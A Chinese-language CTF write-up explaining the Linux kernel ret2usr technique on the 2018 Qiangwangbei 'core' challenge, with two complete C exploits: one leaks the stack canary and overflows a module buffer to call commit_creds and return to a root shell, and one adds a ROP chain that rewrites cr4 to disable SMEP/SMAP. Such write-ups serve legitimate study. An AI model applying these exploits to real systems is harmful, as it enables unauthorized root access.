Kernel Pwn ret2usr
ret2usr
在不开启 SMEP, SMAP, KPTI 的情况下, 内核态是可以执行用户空间的代码的. 于是我们只需要在内核态中控制程序流, 使其跳转到用户空间, 执行我们写好的代码, 如 commit_creds(prepare_kernel_cred(NULL))
便可提取.
不过, 最终的目的是起一个 shell, 但是在内核态无法完成这件事, 所以还需要返回用户态.
iretq
是 x64 的中断返回指令. 当发生中断 (系统调用除外) 陷入内核时, 会发生这些事:
- 切换到内核栈. kernel 在 任务状态段 (TSS) 这个数据结构上保存了内核栈段起始地址 (ss0) 和 内核栈顶指针 (rsp0).
- 接着在内核栈上压入用户空间的 ss, rsp, rflags, cs, rip.
- 之后将用户态的通用寄存器值保存起来, 通用寄存器赋值为 0, 保存用户态 gs 寄存器的值并设置内核的 gs .gs 寄存器在内核态时指向一个进程在内核中相关的数据结构, 其中就包含有 kernel stack canary.
返回用户态时, 发生的事情就反了过来:
- 恢复通用寄存器的值
- 使用
swapgs
指令恢复用户态 gs 的值 - 使用
iretq
指令, 内核将栈上用户态 rip, cs, rflags, rsp, ss 恢复
所以, 我们只需要 swapgs
和 iretq
, 就能够回到用户态. 寄存器的值是否恢复对我们的利用来说并不重要, 不恢复也是可以的.
根据 iretq
的功能, 需要伪造内核栈在执行这条指令时如下:
syscall
指令并不会保存用户态 rsp, 而是陷入内核后由内核态中的代码来保存. sysretq
指令与其相适应, 用它来返回用户态并不会修改 rsp. 将 rsp 设置为用户态的工作同样由内核代码在 sysretq
之前完成. 所以 sysretq
和 iretq
相比没那么方便, 所以不妨就使用 iretq
.例题 - 2018 强网杯 core
查看 qemu 启动脚本:
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
可以看到开启了 kaslr. 内存分配的是 64M, 跑不起来, 需要调大一点.
首先解压 core.cpio, 查看 init:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
可以看到, 把 /proc/kallsyms
copy 到了 /tmp/kallsyms
, 然后禁用了查看 /proc/kallsyms
和 kernel 调试信息 dmesg
命令. 接着加载了一个 module core.ko
, 设置关机时间 120s, 设置 uid, gid, 启动 /bin/sh
.
kernel 的符号地址在 /proc/kallsyms
中有保存, root 权限可以查看. 在本地调试时可以用 root 获取 commit_creds
和 prepare_kernel_cred
的地址.
有些题有 KASLR, 可以用这个方法来获取没有偏移时的地址, 之后获取到开了 KASLR 的某个符号的地址, 就可以计算偏移了.
虽然禁用了查看 /proc/kallsyms
, 但是它已经被拷贝到 /tmp/kallsyms
了, 普通用户也可以直接读取. 所以这里开启的 kaslr 和没有一样.
可以把关机时间给注释掉, 重新打包一下. 题目和贴心给了打包的脚本 gen_cpio.sh
, 直接用就行.
逆向一下 core.ko. 有 canary. 只注册了 ioctl
, write
, release
. ioctl
里写了一个 core_read
, core_copy_func
函数, 并且支持修改一个全局变量 off
. init_module
函数创建了一个进程节点文件 /proc/core
.
存在漏洞的地方是 off
可以用 ioctl
修改, 然后 core_read
可以泄漏 canary. core_copy_func
中存在栈溢出.
最最开始, 由于 iretq
需要 ss, rsp, rflags, cs, 可以通过嵌入汇编的方式给保存下来. 栈顶其实非常随意, 不一定要最后陷入内核时的 rsp, 只要能用就行. 不过某些函数会需要栈对齐, 所以返回内核态后的 rsp 最好也对齐.
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
读取 commit_creds
和 perpare_kernel_cred
的地址, 并通过减去没有 kaslr 时的地址计算出偏移.
void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while (!commit_creds || !prepare_kernel_cred) {
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
fscanf(kallsyms, "%lx%s%s", &addr, t, name);
if (!strcmp(name, "commit_creds")) {
commit_creds = addr;
off = commit_creds - 0xffffffff8109c8e0;
printvar(success, "leak commit_creds", addr);
printvar(debug, "offset", off);
}
if (!strcmp(name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printvar(success, "leak prepare_kernel_cred", addr);
}
}
fclose(kallsyms);
}
接着利用 ioctl
修改全局变量 off
, core_read
泄漏 canary:
void leakCanary() {
size_t *buf = calloc(0x1000, 1);
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, buf);
canary = buf[0];
printvar(success, "leak canary", canary);
free(buf);
}
使用栈溢出来覆盖返回地址, 写上用户空间的函数地址:
void pwn() {
fd = open("/proc/core", O_RDWR);
leakAddr();
leakCanary();
size_t *rop = calloc(0x800, 1);
int cur = 8;
rop[cur++] = canary;
rop[cur++] = canary;
rop[cur++] = (size_t) ret2usr;
write(fd, rop, 0x800);
free(rop);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
close(fd);
}
ret2usr 函数中进行提权操作并返回用户态:
void ret2usr() {
__asm__(
"mov rdi, 0;"
"mov rax, prepare_kernel_cred;"
"call rax;"
"mov rdi, rax;"
"mov rax, commit_creds;"
"call rax;"
"swapgs;"
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, getRootShell;"
"push getRootShell;"
"iretq;"
);
}
使用 iretq
返回到 getRootShell 函数起 shell:
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
完整 exp:
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
int fd;
size_t commit_creds, prepare_kernel_cred;
void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
if (!strcmp(name, "commit_creds")) {
commit_creds = addr;
printvar(success, "leak commit_creds", addr);
}
if (!strcmp(name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printvar(success, "leak prepare_kernel_cred", addr);
}
}
fclose(kallsyms);
}
size_t canary;
void leakCanary() {
size_t *buf = calloc(0x1000, 1);
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, buf);
canary = buf[0];
printvar(success, "leak canary", canary);
free(buf);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void ret2usr() {
__asm__(
"mov rdi, 0;"
"mov rax, prepare_kernel_cred;"
"call rax;"
"mov rdi, rax;"
"mov rax, commit_creds;"
"call rax;"
"swapgs;"
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, getRootShell;"
"push getRootShell;"
"iretq;"
);
}
void pwn() {
fd = open("/proc/core", O_RDWR);
leakAddr();
leakCanary();
size_t *rop = calloc(0x800, 1);
int cur = 8;
rop[cur++] = canary;
rop[cur++] = canary;
rop[cur++] = (size_t) ret2usr;
write(fd, rop, 0x800);
free(rop);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
close(fd);
}
int main() {
saveStatus();
pwn();
return 0;
}
bypass SMEP / SMAP
在启动脚本中加入 -cpu kvm64,+smep,+smap
来开启 smep 和 smap. (还要关一下 kpti, 在 -append
中加上 nopti
) 然后执行上一份 exp, 内核直接 panic 了.

可以看到, panic 的原因是 smep, rip 的值在用户空间, cr4 的值是 0x3006f0
. 所以我们需要先关闭 smep 和 smap, 才可以 ret2usr.
不过, 这一操作需要在内核态完成, 于是要找到内核态控制 cr4 的 gadget, 比如 0xffffffff810478c7: mov cr4, rdi; push rdx; popfq; ret;
再找一个 pop rdi; ret
的 gadget 便可以写 cr4 了.
这里还涉及到 KASLR. 先将 KASLR 关闭, 获得函数的地址并记录. 然后再开启 KASLR, 获得函数地址, 相减便是偏移, 利用偏移找到 gadget 的真实地址.
exp:
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
int fd;
size_t commit_creds, prepare_kernel_cred, off;
void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
if (!strcmp(name, "commit_creds")) {
commit_creds = addr;
off = commit_creds - 0xffffffff8109c8e0;
printvar(success, "leak commit_creds", addr);
printvar(debug, "offset", off);
}
if (!strcmp(name, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printvar(success, "leak prepare_kernel_cred", addr);
}
}
fclose(kallsyms);
}
size_t canary;
void leakCanary() {
size_t *buf = calloc(0x1000, 1);
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, buf);
canary = buf[0];
printvar(success, "leak canary", canary);
free(buf);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void ret2usr() {
__asm__(
"mov rdi, 0;"
"mov rax, prepare_kernel_cred;"
"call rax;"
"mov rdi, rax;"
"mov rax, commit_creds;"
"call rax;"
"swapgs;"
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, getRootShell;"
"push getRootShell;"
"iretq;"
);
}
void pwn() {
fd = open("/proc/core", O_RDWR);
leakAddr();
leakCanary();
size_t *rop = calloc(0x800, 1);
size_t pop_rdi_ret = off + 0xffffffff81000b2f;
size_t mov_cr4_rdi_ret = off + 0xffffffff81075014;
int cur = 8;
rop[cur++] = canary;
rop[cur++] = canary;
rop[cur++] = pop_rdi_ret;
rop[cur++] = 0x6f0;
rop[cur++] = mov_cr4_rdi_ret;
rop[cur++] = (size_t) ret2usr;
write(fd, rop, 0x800);
free(rop);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
close(fd);
}
int main() {
saveStatus();
pwn();
return 0;
}
native_write_cr4
的函数可以写 cr4 的值. 这题没有.